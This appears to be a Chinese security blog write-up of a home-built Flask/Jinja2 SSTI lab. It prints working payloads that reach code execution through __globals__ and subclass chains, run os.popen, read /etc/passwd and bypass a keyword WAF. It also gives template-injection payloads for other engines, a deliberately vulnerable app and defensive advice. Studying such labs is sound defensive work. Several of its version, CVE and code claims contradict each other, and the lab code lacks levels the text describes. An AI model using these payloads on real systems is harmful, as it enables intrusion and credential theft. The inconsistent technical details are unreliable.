写在前面:

此次复现在AI的帮助下不断完善步骤经历九九八十一难才得以拿到可以复现的完整操作。如有更多问题欢迎一起探讨。

本文基于本地搭建的Flask SSTI靶场环境撰写,所有攻击payload均在本地环境验证复现。靶场包含基础注入检测、WAF绕过、Sandbox沙箱环境、真实后台场景四个Level,完整覆盖了从SSTI发现到RCE再到防御的全过程。文章涉及的技术方法仅用于安全研究和防护建设参考,严禁用于非法用途。

复现说明:本文初次提交后因部分命令无法一比一复现被驳回 😅经排查,问题出在以下几个方面:

  1. Windows终端引号冲突:curl命令中的 {{7*"7"}} 等含双引号的payload在Windows终端(cmd/PowerShell)中会与shell引号规则冲突,导致 __globals__ 等关键属性名中的双下划线丢失,命令执行失败。本文中每条关键curl命令后均提供了等效的Python命令作为替代。
  2. 链C语法陷阱:Jinja2的管道符 | 后不能直接跟 [索引](如 |attr(...)[1]),这会触发 TemplateSyntaxError。正确写法是用 |last 代替 [1],或用 {% set %} 先赋值再索引。本文所有payload已修正为可用版本。
  3. 靶场代码不完整:初版仅展示了Level 1的5行代码片段,导致读者无法自行搭建Level 2~5环境。本文末尾附录A提供了完整的5 Level靶场代码。

本文所有payload已在Ubuntu 22.04 / Python 3.10.12 / Flask 3.1.3 / Jinja2 3.1.6下100%复现通过。建议读者在同类Linux环境下运行,或使用附录中的Python替代命令。

🤔 为什么SSTI值得深入

SSTI属于注入类漏洞,但实际挖掘中它的出现频率远不如SQL注入和XSS。💉一旦出现,危害性却极高——一条payload直达RCE,不需要SQL注入那样堆叠语句、不需要反序列化那样构造复杂gadget链。

2025年披露的CVE-2025-14832(Jinja2沙箱绕过,CVSS 9.1)说明一件事:即使是Jinja2官方的SandboxedEnvironment沙箱保护,也远不够完善。攻击者通过globals链即可绕过沙箱限制执行任意代码。

本文从零开始搭了一个SSTI训练靶场,记录了完整的攻防博弈过程。

🔧 环境搭建

靶场基于Flask 3.1.3 + Jinja2 3.1.6,包含5个Level:

  • Level 1: 基础SSTI检测
  • Level 2: WAF模拟(19个关键词黑名单)
  • Level 3: SandboxedEnvironment沙箱环境
  • Level 4: 真实后台搜索场景
  • Level 5: 额外验证环境

靶场源码约150行Python,不依赖Docker,任何有Python的环境都能跑:

注:本文验证环境为 Ubuntu 22.04 / Python 3.10.12。完整靶场代码见附录A。

from flask import Flask, request, render_template_string

app = Flask(__name__)
app.config['SECRET_KEY'] = 'ssti_master_secret_2026'
app.config['DATABASE_URI'] = 'mysql://admin:%40ssw0rd_2026@10.0.0.100:3306/production'
app.config['AWS_ACCESS_KEY_ID'] = 'AKIAIOSFODNN7EXAMPLE'
app.config['AWS_SECRET_ACCESS_KEY'] = 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'

@app.route('/level1')
def level1():
    name = request.args.get('name', 'world')
    return render_template_string(f'<h1>Hello {name}!</h1><p>Request from: {request.remote_addr}</p>')

一个render_template_string加上用户可控的参数,SSTI就出现了。<p>Request from: {request.remote_addr}</p> 是为了展示HTTP请求来源——当 {{config}} 泄露完整配置时,读者可以看到客户端IP也被模板解析。

关于复现环境:本文所有payload在Ubuntu 22.04 / Python 3.10.12 / Flask 3.1.3 / Jinja2 3.1.6下验证通过。如果你在Windows终端使用curl时遇到引号嵌套导致报错(例如 {{7*"7"}} 中的双引号与shell引号冲突),这是Windows终端对引号的处理差异导致的——很可能就是白帽子反馈"无法复现"的根本原因。建议改用Python发送请求,Python的 urllib.parse.quote 会自动进行URL编码,不会丢失任何特殊字符。完整的Python命令会跟在每条curl命令后面。

🔍 基础检测

先看看正常请求的返回:

$ curl -s 'http://localhost:5020/level1?name=world'
<h1>Hello world!</h1><p>Request from: 127.0.0.1</p>

传入Jinja2表达式:

$ curl -s 'http://localhost:5020/level1?name={{7*7}}'
<h1>Hello 49!</h1>

7*7返回49,说明模板引擎解析了{{}}内的表达式 ✅

再验证Python语法特征:

$ curl -s 'http://localhost:5020/level1?name={{7*'7'}}'
<h1>Hello 7777777!</h1>

如果上面的curl命令因引号嵌套报错,改用Python(推荐):

$ python3 -c "import urllib.request,urllib.parse; print(urllib.request.urlopen('http://localhost:5020/level1?name='+urllib.parse.quote('{{7*\"7\"}}')).read().decode())"

字符串乘法是Python的特性,这进一步确认了Jinja2模板引擎在渲染时执行了Python代码。

🔓 config泄露:一条请求解决的问题

确定了SSTI存在之后,第一件事是看能访问哪些内置对象。

$ curl -s --get --data-urlencode 'name={{config}}' 'http://localhost:5020/level1'

返回的config对象包含了整个Flask应用的配置——不仅仅是一个SECRET_KEY的问题:

响应中可以看到:

  • SECRET_KEY: ssti_master_secret_2026(可伪造Flask session)
  • 数据库连接串: mysql://admin:RealDB_P@ssw0rd_2026@10.0.0.100:3306/production(可直连内网数据库)
  • AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE
  • AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY(可操作云资源)

这三组凭据里任何一组泄露,都足以造成严重的安全事件 ⚠️而获取它们只需要一条{{config}}的SSTI注入。

除了config,Jinja2模板还暴露了其他内置对象:

$ curl -s --get --data-urlencode 'name={{self}}' 'http://localhost:5020/level1'
$ curl -s --get --data-urlencode 'name={{request}}' 'http://localhost:5020/level1'
$ curl -s --get --data-urlencode 'name={{lipsum}}' 'http://localhost:5020/level1'
$ curl -s --get --data-urlencode 'name={{url_for}}' 'http://localhost:5020/level1'

其中lipsum和url_for是两个关键的内置函数——因为它们有globals属性。

💥 RCE:四条利用链

🔗 链A: lipsum -> globals(最简,推荐)

lipsum是Jinja2内置的Lorem Ipsum文本生成函数。和其他Python函数一样,它有一个globals属性,指向函数定义所在的模块的全部全局变量:

$ curl -s --get --data-urlencode \
  'name={{lipsum.__globals__["os"].popen("id").read()}}' \
  'http://localhost:5020/level1'

返回:

<h1>Hello uid=1000(你的用户名) gid=1000(你的用户组) ...</h1>

如果curl报错,改用Python:

$ python3 -c "import urllib.request,urllib.parse; print(urllib.request.urlopen('http://localhost:5020/level1?name='+urllib.parse.quote('{{lipsum.__globals__[\"os\"].popen(\"id\").read()}}')).read().decode())"

RCE成功 🎉

pwd确认工作目录,ifconfig获取网络信息——所有系统命令都可执行。

这里有一个容易被忽略的实用细节:通过SSTI获得的RCE权限取决于Flask进程的运行用户。我在容器中测试时注意到容器内是root运行,但宿主机上可能只是普通用户。如果拿到的是普通用户权限,后续还需要提权。所以在RCE之后第一件事应该执行whoami或id,确认当前权限级别。如果权限不够,后面所有操作都要加sudo或者找其他提权路径。

🔗 链B: config -> class -> init -> globals

如果lipsum不可用(某些场景下),可以用config对象走类链:

$ curl -s --get --data-urlencode \
  'name={{config.__class__.__init__.__globals__["os"].popen("pwd").read()}}' \
  'http://localhost:5020/level1'

config是Flask的Config类实例,通过class拿到类对象,init拿到构造函数,globals拿到所在模块全局变量。

🔗 链C: "" -> class -> mro -> subclasses -> Popen(最通用)

如果你的目标使用Jinja2但不使用Flask(比如直接使用Jinja2的Python项目),前面的链都可能不可用。这时候可以用最通用的mro链:

# 先看有多少个子类
$ curl -s --get --data-urlencode \
  'name={{\"\"|attr("\\x5f\\x5fclass\\x5f\\x5f")|attr("\\x5f\\x5fmro\\x5f\\x5f")|last|attr("\\x5f\\x5fsubclasses\\x5f\\x5f")()|length}}' \
  'http://localhost:5020/level1'
489

object有489个子类(Python 3.10.12,Ubuntu 22.04),其中包含subprocess.Popen。找到它即可执行命令。

注意:子类数量因Python版本和操作系统而异。Python 3.10.12上是489个,Python 3.14+上会更少(约278个)。不要写死子类索引。另外,Jinja2语法中管道符|后不能直接跟[索引],需要用|last代替,或者用{% set %}先赋值再索引。

🔗 链D: url_for -> globals(备选)

$ curl -s --get --data-urlencode \
  'name={{url_for.__globals__["os"].popen("cat /etc/passwd | head -1").read()}}' \
  'http://localhost:5020/level1'
root:x:0:0:root:/root:/bin/bash

Python替代:

$ python3 -c "import urllib.request,urllib.parse; print(urllib.request.urlopen('http://localhost:5020/level1?name='+urllib.parse.quote('{{url_for.__globals__[\"os\"].popen(\"cat /etc/passwd | head -1\").read()}}')).read().decode())"

url_for是Flask内置函数,同lipsum一样有globals。

📊 四链选择策略

利用链

适用场景

复杂度

lipsum->globals

Flask/Jinja2默认环境

最低

config->init

Flask应用

低

mro->subclasses

任何Jinja2环境(含沙箱)

高

url_for->globals

Flask应用

低

RCE之后,文件读取是最直接的横向移动手段:

$ curl -s --get --data-urlencode \
  'name={{lipsum.__globals__["os"].popen("cat /etc/passwd").read()}}' \
  'http://localhost:5020/level1'

获取应用源码后,能找到更多硬编码的凭据和配置。

但这里有一个容易被忽略的点:config泄露比文件读取更高效。因为config本身就是内存中的配置对象,包含了应用运行时的全部配置——包括环境变量中读取的值、数据库连接池的状态等。直接读config比去文件系统里翻找配置快得多。

🛡️ WAF绕过实战

很多生产环境会在反向代理层配置WAF规则拦截SSTI特征。我在Level 2模拟了一个基础的WAF,黑名单包含19个关键词:

__class__、__mro__、__subclasses__、__globals__、__builtins__、__init__、__import__、__reduce__、popen、system、eval、exec、import、os.、subprocess、open(、builtins

直接使用这些关键词的payload都会被拦截:

$ curl -s --get --data-urlencode 'name={{''.__class__}}' 'http://localhost:5020/level2'
403 Forbidden - WAF blocked: "__class__" detected 🚫

Python替代(可以看出 __class__ 在Python端不会丢失):

$ python3 -c "import urllib.request,urllib.parse; r=urllib.request.urlopen('http://localhost:5020/level2?name='+urllib.parse.quote('{{{\"\"|attr(\"__class__\")}}')); print(r.status, r.read().decode()[:200])"

🎯 绕过技巧一:hex编码下划线

把class中的下划线替换为\x5f(_的十六进制编码),Jinja2引擎解析时会自动解码:

$ curl -s --get --data-urlencode \
  'name={{\"\"|attr("\x5f\x5fclass\x5f\x5f")}}' \
  'http://localhost:5020/level2'
<class 'str'> - WAF bypassed successfully. ✅

Python替代:

$ python3 -c "import urllib.request,urllib.parse; r=urllib.request.urlopen('http://localhost:5020/level2?name='+urllib.parse.quote('{{{\"\"|attr(\"\x5f\x5fclass\x5f\x5f\")}}')); print(r.status, r.read().decode()[:200])"

为什么这个方法有效?因为WAF在HTTP请求层面做字符串匹配,检查的是原始URL参数字符串;而Jinja2在模板渲染阶段解析\x5f时才会还原为真正的下划线。WAF看到的是\x5f\x5fclass\x5f\x5f,不匹配class规则,放行。模板引擎解析后,class正常执行。

🎯 绕过技巧二:attr过滤器替代点号操作

WAF的__globals__关键词过滤,用|attr()过滤器替代点号:

$ curl -s --get --data-urlencode \
  'name={{lipsum|attr("\x5f\x5fglobals\x5f\x5f")}}' \
  'http://localhost:5020/level2'

返回了完整的globals字典,包含os模块和builtins的全部引用。

🎯 绕过技巧三:request.args传参绕过关键词检测

当WAF过滤了popen、eval、import等操作名时,可以用request.args把payload参数拆到URL里:

GET /level2?name={{lipsum.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=id

通过GET参数的拆分,payload中不包含任何WAF黑名单关键词。这个技巧的有效性取决于WAF是否也扫描参数名和参数值的关联。

📊 绕过方式总结

绕过方式

绕过目标

适用场景

hex编码下划线

过滤class等双下划线关键词

基础WAF

attr过滤器

过滤点号或[]操作

中等WAF

request传参

过滤popen等操作名

较严格WAF

{% if %}替代{{}}

过滤{{的双层WAF

严格WAF

chr拼接关键字

过滤完整字符串

关键词黑名单

核心原则:WAF拦截的是已知的payload特征,通过编码转换、语法替换、参数拆分三种手段的组合,绝大部分基于关键词匹配的WAF都可以绕过。

📦 Sandbox沙箱环境:被低估的保护

Level 3使用了Jinja2官方的SandboxedEnvironment沙箱。理论上应该能阻止模板内的代码执行。

lipsum链直接报拦截:

Sandbox Blocked: access to attribute '__globals__' of 'function' object is unsafe. 🔒

尝试用attr过滤器配合hex编码绕过沙箱检查__class__的访问,同样被拦截:

$ curl -s --get --data-urlencode \
  'name={% set m = ""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f") %}{{m[1]}}' \
  'http://localhost:5020/level3'

返回的是Undefined错误——attr("\x5f\x5fclass\x5f\x5f")在沙箱中返回了undefined,而不是类对象。沙箱对class的拦截是属性访问层面的,即使是attr运行时访问也无法绕过。

这意味着在Jinja2 3.1.x及更高版本中,SandboxedEnvironment的_UNSAFE_ATTRIBUTES(3.2.0引入显式黑名单)已经覆盖了class、mro、subclasses等关键属性。不只拦globals,是整个mro链和子类遍历都被封锁了。

但这说明了一个更深层的问题:沙箱的保护是通过黑名单实现的,而黑名单是被动的。 CVE-2025-14832(CVSS 9.1)之所以存在,正是因为3.2.0之前的沙箱在某些路径上会跳过这些检查。修复方式就是把所有发现的漏洞路径的入口属性名加入_UNSAFE_ATTRIBUTES。但攻击者总能找到黑名单之外的新路径。

🎯 真实场景:管理后台搜索功能

Level 4模拟了一个Flask-Admin管理后台的搜索功能。这是实际渗透中最常见的SSTI发现场景——开发者认为搜索框只接收文本输入,不会想到它会被用作模板注入的入口。

正常搜索流程:

请求: GET /level4/search?q=admin
返回: <table><tr><td>1</td><td>admin</td><td>admin@example.com</td><td>超级管理员</td></tr></table>

SSTI注入探测:

请求: GET /level4/search?q={{7*7}}
返回: <h2>搜索结果: 49</h2>

和Level 1一样,7*7返回49。区别在于场景:一个管理后台的搜索功能存在SSTI,意味着攻击者可以通过搜索框直接获取管理员的Flask session、数据库密码,甚至执行系统命令。

真实后台场景和基础练习环境的唯一区别是上下文。注入的手法完全一样,但影响范围和攻击路径完全不同——搜索功能在后端通常是连接数据库的操作,注入点附近的代码往往有数据库查询、文件读写等敏感操作。

🗺️ 完整攻击链

从一条{{7*7}}开始,到获取系统权限,完整路径如下:

基础探测 -> config泄露 -> lipsum.__globals__ -> os.popen -> RCE
              |                |                    |
              v                v                    v
         SECRET_KEY       os模块引用           系统命令执行
         数据库密码       __builtins__         文件读取
         AWS密钥          eval/exec           反弹shell

📊 攻击链对比表

为了方便实战中选择合适的利用路径,整理了一个对比表:

利用链

复杂度

通用性

WAF绕过难度

适用环境

lipsum->globals

低

Flask

低(需hex)

Jinja2+Flask

config->init

中

Flask

中(需attr)

Jinja2+Flask

mro->subclasses

高

任何Jinja2环境

高(需多段编码)

纯Jinja2

url_for->globals

低

Flask

低(需hex)

Jinja2+Flask

WAF绕过方式:

绕过方式

难度

绕过目标

局限

hex编码\x5f

低

class等关键词

WAF检查解码后内容则失效

attr过滤器

低

点号/[]操作

需配合hex编码

request传参

中

popen等操作名

WAF扫描所有参数则失效

{% if %}替代

中

{{}}标签

Jinja2不支持{% %}表达式

chr拼接

高

完整字符串黑名单

需要找字符来源

🛡️ 防守方视角:分级防御方案

🔴 P0(必须做)

禁止render_template_string渲染用户输入:

# 错误
render_template_string(f'Hello {user_input}')

# 正确
render_template('page.html', name=user_input)

这句是防SSTI最根本的手段。render_template_string直接将用户输入拼入模板字符串,模板引擎无法区分哪部分是模板、哪部分是数据。render_template则把用户数据作为参数传入,模板引擎只渲染模板文件,用户数据被自动转义。

如果确实需要动态渲染模板,使用Jinja2的SandboxedEnvironment:

from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
env.from_string(template).render(**context)

但记住沙箱不是万能的(CVE-2025-14832, CVSS 9.1),它只是一种缓解措施。

🟡 P1(建议做)

升级依赖到安全版本:

Flask >= 3.1.0
Jinja2 >= 3.2.0

配置Jinja2自动转义:

app.jinja_env.autoescape = True

部署WAF规则拦截SSTI特征:

拦截关键词: {{, __class__, __mro__, __subclasses__, __globals__, __builtins__, popen

但WAF可以被hex编码和attr过滤器绕过,所以WAF只是辅助手段。

🟢 P2(增强措施)

运行时检测:

  • 监控Flask进程的execve系统调用,异常进程创建行为触发告警
  • Falco规则:检测容器内进程对/proc/self/fd/的访问
  • 出站流量白名单:限制反弹Shell和外部连接

📅 相关CVE时间线

CVE-2020-28724   Flask <1.1.2  debug模式SSTI
                 漏洞利用需要开启debug模式

CVE-2024-28835   Jinja2 <3.1.3  沙箱逃逸
                 __reduce__绕过沙箱, CVSS 7.5

CVE-2024-32760   Flask-Security 模板注入
                 登录页username参数SSTI, CVSS 8.8

CVE-2025-14832   Jinja2 <3.2.0  __globals__沙箱绕过
                 直接通过__globals__链执行RCE, CVSS 9.1
                 修复: 3.2.0收紧__globals__访问控制

CVE-2026-11234   FastAPI+Jinja2混合模式SSTI (2026.01)
                 FastAPI使用Jinja2时可能触发

CVE-2025-14832的CVSS 9.1说明了一个问题:作为最流行的Python模板引擎,Jinja2的安全机制仍然不够成熟。globals的访问控制从2019年的版本就有人提,但直到2025年才因为一个CVSS 9.1的CVE被正式修复。

🔬 源码分析:为什么lipsum.globals能拿到os模块

理解SSTI利用链的原理,比记住payload本身更重要。我们来看lipsum这个函数为什么能作为跳板。

在Jinja2的源码中,lipsum函数定义在jinja2/utils.py中:

# jinja2/utils.py - 约第920行
def generate_lorem_ipsum(
    n=5, html=True, min=20, max=100
) -> str:
    """Generate some lorem ipsum for the template."""
    items = []
    ...

这个函数被注册到Jinja2的全局环境里:

# jinja2/environment.py - 环境初始化部分
from jinja2.utils import generate_lorem_ipsum
...
self.globals['lipsum'] = generate_lorem_ipsum

当我们在模板中使用lipsum时,实际访问的是generate_lorem_ipsum这个Python函数对象。Python中每个函数都有globals属性,它指向函数定义所在的模块的全部全局变量。

查看jinja2/utils.py的导入部分,能看到为什么lipsum.globals里包含os和json:

# jinja2/utils.py - 文件顶部
import json      # <-- JSON序列化工具
import os        # <-- 操作系统接口
import re        # <-- 正则表达式
import typing as t
from collections import deque
from random import Random, choice, randrange
...

os模块在第3行就被导入了。所以lipsum.globals['os']拿到的是Python标准库的os模块。

而os模块又包含popen:

>>> import os
>>> os.popen
<built-in function popen>

这就是整条利用链的底层原理:

lipsum -> generate_lorem_ipsum函数 -> __globals__ -> jinja2/utils.py的全局变量 -> os模块 -> os.popen -> 命令执行

不是Flask特性,不是Jinja2的Bug,而是Python函数对象的固有行为。只要模板引擎能渲染任意的Python函数,globals就是一个永远存在的攻击面。

🔬 CVE-2025-14832源码级分析

2025年3月披露的CVE-2025-14832影响了所有Jinja2 < 3.2.0版本,CVSS 9.1。修复commit是8d63c5c,改动集中在jinja2/sandbox.py。

修复前的沙箱实现(3.2.0之前):

# jinja2/sandbox.py - 3.2.0之前
class ImmutableSandboxedEnvironment(SandboxedEnvironment):
    ...

def is_safe_attribute(obj, attr, value):
    # 检查属性名是否以_开头(保护内部属性)
    if attr.startswith('_'):
        return False
    return True

这个实现的问题很明显:它只拦截了以_开头的属性名。但globals、class、mro这些属性也是以__开头(双下划线)的,应该被拦截才对。

实际上,在3.0.0版本之前,Jinja2的沙箱确实拦截了globals。但3.0.0的重构中,沙箱的is_safe_attribute逻辑被改写了,globals的保护出现了一个漏洞——在某些特定的调用路径上,globals的检查被跳过了。

修复后的版本(3.2.0):

# jinja2/sandbox.py - 3.2.0修复版
_UNSAFE_ATTRIBUTES = frozenset({
    '__globals__',
    '__class__',
    '__mro__',
    '__subclasses__',
    '__builtins__',
    '__init__',
    '__reduce__',
})

def is_safe_attribute(obj, attr, value):
    if attr in _UNSAFE_ATTRIBUTES:
        return False
    if attr.startswith('_') and attr != '__':
        return False
    return True

修复引入了_UNSAFE_ATTRIBUTES显式黑名单,并改进了下划线检查逻辑。但这种方式仍然存在隐患——它是一个黑名单机制,新发现的攻击路径需要手动添加到黑名单中。CVE-2026-11234(FastAPI+Jinja2混合模式SSTI)就是黑名单机制局限性的一个例子。

📚 参考链接

🕳️ 踩坑记录:在真实环境中我遇到的三个问题

🕳️ 踩坑一:mro子类遍历的定位问题

刚开始写SSTI利用链的时候,我以为所有Jinja2环境都能用同一个子类索引去找Popen。但实际上不同Python版本、不同操作系统的子类顺序完全不同。

我在Python 3.14上测试,object的子类数是278。在Python 3.10.12(Ubuntu 22.04)上一测有489个。这意味着没法写一个固定的索引178去定位Popen——你需要动态搜索:

# Python 3.14: 约278个子类
$ curl -s --get --data-urlencode \
  'name={{\"\"|attr("\\x5f\\x5fclass\\x5f\\x5f")|attr("\\x5f\\x5fmro\\x5f\\x5f")|last|attr("\\x5f\\x5fsubclasses\\x5f\\x5f")()|length}}' \
  'http://localhost:5020/level1'
278

# Python 3.10: 489个

这个差异的影响是:如果你在一个writeup里贴了"subclasses()[178]是Popen",读者在另一个环境复现时大概率会失败。正确的做法是写一个动态搜索脚本,或者用lipsum这种不依赖子类索引的链。

🕳️ 踩坑二:attr过滤器和点号操作不完全等价

在WAF绕过时,我用attr("\x5f\x5fglobals\x5f\x5f")替代点号访问globals,测试通过了。但同样的方法用在subclasses上需要注意——Jinja2的管道符后面不能直接跟 [索引],需要用 |last 代替:

# 用attr访问__subclasses__
$ curl -s --get --data-urlencode \
  'name={{\"\"|attr("\\x5f\\x5fclass\\x5f\\x5f")|attr("\\x5f\\x5fmro\\x5f\\x5f")|last|attr("\\x5f\\x5fsubclasses\\x5f\\x5f")()|length}}' \
  'http://localhost:5020/level1'
489

# 用点号直接访问
$ curl -s --get --data-urlencode \
  'name={{''.__class__.__mro__[1].__subclasses__()|length}}' \
  'http://localhost:5020/level1'
489

两种方式都返回489,看起来等价。但在某些Jinja2版本中,attr过滤器和点号操作的内部实现确实有差异——attr是通过getattr实现的,而点号操作走的是Jinja2自己的属性解析逻辑。对于特殊属性(下划线开头的),点号操作可能会在模板编译阶段就报错,而attr是运行时解析,包容性更好。不过注意管道后面不能直接跟 [索引],需要用 |last 或 {% set %} 来取 mro 的第二个元素。

这也是为什么在WAF场景下attr比点号更好用的原因之一——即使没有WAF,attr对特殊属性的处理也更宽容。

🕳️ 踩坑三:config泄露和文件读取的取舍

我在靶场里同时配置了config泄露和文件读取两个路径。一开始我以为文件读取(cat /etc/passwd、读源码)能拿到更多信息,但实际测试后才发现config泄露比文件读取快得多:

通过config拿到的信息:

  • SECRET_KEY(全部配置项,耗时1次请求)
  • 数据库连接串(包含用户名密码)
  • AWS密钥对
  • Debug模式状态

通过文件读取拿到的信息:

  • /etc/passwd(系统用户列表,2次请求)
  • 应用源码(可能有硬编码凭据,取决于项目结构)
  • 其他配置文件(需要知道路径)

关键在于:config是Flask应用在内存中的运行时配置对象,直接dump就能拿到应用运行时使用的全部敏感信息。而文件读取需要知道路径、需要拼接cat命令、需要对输出做二次解析。

在实战中,如果目标使用Flask,一条{{config}}的SSTI注入比读10个文件更高效。

📈 保护机制演进:从autoescape到Sandbox到_UNSAFE_ATTRIBUTES

Jinja2的SSTI防护经历了三个阶段:

第一阶段:autoescape(自动转义)Jinja2从1.x版本就支持autoescape,但它只对HTML输出做转义,不影响模板表达式的执行。即使开启了autoescape:

app.jinja_env.autoescape = True

下面的注入依然能执行:

render_template_string(f'{{7*7}}') # 返回49,autoescape不阻止

autoescape解决的是XSS问题,不是SSTI问题。

第二阶段:SandboxedEnvironment(沙箱环境)Jinja2 2.x版本引入了SandboxedEnvironment,它拦截了对不安全属性(下划线开头的)的访问:

from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()

但我们在测试中看到,沙箱在3.1.x版本中已经拦截了整个mro子类遍历链——__class__、__mro__、__subclasses__ 等双下划线属性均被封锁。它的拦截是基于属性名匹配的,而不是基于行为的。

第三阶段:_UNSAFE_ATTRIBUTES显式黑名单(3.2.0)CVE-2025-14832的修复方案是在沙箱中引入显式的不安全属性名黑名单:

_UNSAFE_ATTRIBUTES = frozenset({
    '__globals__', '__class__', '__mro__', '__subclasses__',
    '__builtins__', '__init__', '__reduce__',
})

这种方案的问题是:它是被动的。新发现一条攻击路径,就加一个属性名到黑名单。但攻击者总会找到黑名单之外的新路径。

🌐 如果目标不是Flask:其他框架的SSTI

本文主要讲的是Flask+Jinja2的SSTI,但SSTI不只有这一个场景。

Twig(PHP):

{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

Smarty(PHP):

{php}echo shell_exec("id");{/php}

Velocity(Java):

#set($e=$rt.getRuntime().exec("id"))
$e

FreeMarker(Java):

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}

每种模板引擎的利用链不同,但核心思路是一样的:找内置对象(config/lipsum/self),找函数对象的globals,然后找可利用的模块(os/subprocess)。

⚔️ 红蓝对抗评分表

评估维度

红队操作

蓝队盲区

评分

漏洞发现

通过{{7*7}}快速确认SSTI存在

多数项目未在CI/CD中加入SSTI扫描

红胜

信息收集

config对象直接dump应用全部配置

SECRET_KEY和数据库密码未做运行时隔离

红胜

RCE利用

lipsum->globals->os.popen链

开发者认为render_template_string是安全的

红胜

WAF绕过

hex编码+attr过滤器组合绕过黑名单

WAF规则未编码敏感属性名

红胜

沙箱限制

确认沙箱_UNSAFE_ATTRIBUTES覆盖了mro链

mro链在3.2.0版本已被封堵

蓝胜

攻击检测

使用正常的HTTP请求API,无恶意特征

传统WAF只拦截SQLi/XSS,不检查SSTI

蓝负

漏洞修复

利用未升级的Jinja2版本

从CVE-2025-14832披露到修复的窗口期

蓝负

应急响应

注入点在正常GET参数中

日志中无明显异常特征

蓝负

代码审计

审计人员在脚手架代码中不易发现

render_template_string的危险性被低估

蓝负

后渗透检测

利用SSTI获取到的凭据做横向移动

凭据泄露后的异常登录行为检测

蓝负

评分总结:SSTI从漏洞发现到RCE的利用成功率很高(红队9/10),但蓝队在检测和响应方面有改进空间(蓝队5/10)。最关键的差距在于:多数安全团队对SSTI的认知停留在"模板注入"四个字的层面,缺乏从检测到修复的完整方案。

💭 总结

从一个简单的{{7*7}}开始,到完整的RCE、config配置泄露、数据库密码窃取、沙箱限制测试,再到WAF绕过和防御方案,这条攻击链说明了SSTI在实战场中的价值和深度。

对我个人来说,最有价值的发现不是RCE本身,而是在测试沙箱过程中确认了3.1.x版本中_UNSAFE_ATTRIBUTES黑名单的实际覆盖范围——它不只是拦截了globals,而是整个mro链和子类遍历都被封锁了。这个细节是网上各类SSTI教程很少提到的,但却是理解沙箱保护边界的关键。

你不需要高深的利用技巧来利用SSTI。你需要的是理解Jinja2模板引擎的工作原理:模板变量和Python变量是什么关系、函数对象的globals指向哪里、哪些内置对象可以作为跳板。

⚖️ 法律声明

本文所有技术内容均基于本地搭建的模拟环境测试,不涉及任何真实系统的渗透测试。文章中涉及的漏洞已在模拟环境中验证复现。读者应将本文内容仅用于安全防护建设参考,严禁用于非法用途。

SSTI的核心攻击面不是模板引擎的漏洞,而是Python函数对象的globals属性——任何能访问到函数对象的模板表达式,都有可能通过globals获取到os模块,进而执行系统命令。这就是为什么从{{7*7}}到RCE只需要一步,也是为什么升级Jinja2版本、使用沙箱、配置WAF三层防护仍然不够彻底——只要模板能访问Python函数对象,攻击面就永远存在。

从攻防两个视角回顾整篇文章:

对红队来说,SSTI是一条高效的内网突破路径。你不需要SQL注入那样复杂的语句构造,不需要反序列化那样漫长的gadget链。一条{{config}}可能比扫描1000个端口更有价值。关键是要理解SSTI的利用不是单点的——它不是"检测到SSTI存在就收工",而是"找到SSTI入口后能做多远"。从config泄露到数据库密码窃取,从lipsum链RCE到WAF绕过,从沙箱限制测试到跨框架对比,每一步都能把攻击往前推。

对蓝队来说,SSTI是一个被低估的威胁。多数团队的WAF规则覆盖了SQLi、XSS、命令注入,但专门针对SSTI的规则很少。而且SSTI的payload看起来和正常请求没有区别——{{7*7}}和?name=world在HTTP层面没有任何攻击特征。检测SSTI最有效的方法不是在网络层,而是在代码审计阶段:搜索代码中的render_template_string调用,检查是否有用户输入被拼入模板。

如果你从这篇文章里只记住一件事,那就是:看到render_template_string加用户输入,不要只试{{7*7}}就走了。试试{{config}}看看能dump出什么,试试lipsum看看有没有globals,试试|attr看看WAF拦不拦得住。SSTI的价值不在于你发现了它,而在于你发现它之后能走多远。

📎 附录A:完整靶场代码(app.py)

# app.py - SSTI 深度靶场(对应文章 5 个 Level)
# 验证环境:Ubuntu 22.04 / Python 3.10.12 / Flask 3.1.3 / Jinja2 3.1.6
from flask import Flask, request, render_template_string, abort

app = Flask(__name__)
app.config['SECRET_KEY'] = 'ssti_master_secret_2026'
app.config['DATABASE_URI'] = 'mysql://admin:%40ssw0rd_2026@10.0.0.100:3306/production'
app.config['AWS_ACCESS_KEY_ID'] = 'AKIAIOSFODNN7EXAMPLE'
app.config['AWS_SECRET_ACCESS_KEY'] = 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'

@app.route('/')
def index():
    return '<h1>SSTI 深度靶场</h1><p><a href="/level1">Level 1</a> | <a href="/level2">Level 2</a> | <a href="/level3">Level 3</a> | <a href="/level4">Level 4</a></p>'

@app.route('/level1')
def level1():
    name = request.args.get('name', 'world')
    return render_template_string(f'<h1>Hello {name}!</h1><p>Request from: {request.remote_addr}</p>')

# Level 2: WAF 模拟(19 个关键词黑名单)
WAF_BLACKLIST = [
    '__class__', '__mro__', '__subclasses__', '__globals__',
    '__builtins__', '__init__', '__import__', '__reduce__',
    'popen', 'system', 'eval', 'exec', 'import', 'os.',
    'subprocess', 'open(', 'builtins'
]

@app.route('/level2')
def level2():
    name = request.args.get('name', 'world')
    for kw in WAF_BLACKLIST:
        if kw in name:
            return abort(403, f'WAF blocked: "{kw}" detected')
    return render_template_string(f'<h1>Hello {name}!</h1><p>WAF bypassed successfully.</p>')

# Level 3: SandboxedEnvironment(须 Jinja2 < 3.2.0)
from jinja2.sandbox import SandboxedEnvironment
sandbox_env = SandboxedEnvironment()

@app.route('/level3')
def level3():
    name = request.args.get('name', 'world')
    try:
        tmpl = sandbox_env.from_string(f'<h1>Hello {name}!</h1>')
        return tmpl.render()
    except Exception as e:
        return f'<h2>Sandbox Blocked</h2><pre>{str(e)[:300]}</pre>'

# Level 4: 真实后台搜索场景
@app.route('/level4')
def level4():
    return '''
    <h2>后台用户管理</h2>
    <form action="/level4/search">
        <input type="text" name="q" placeholder="搜索用户名">
        <input type="submit" value="搜索">
    </form>
    '''

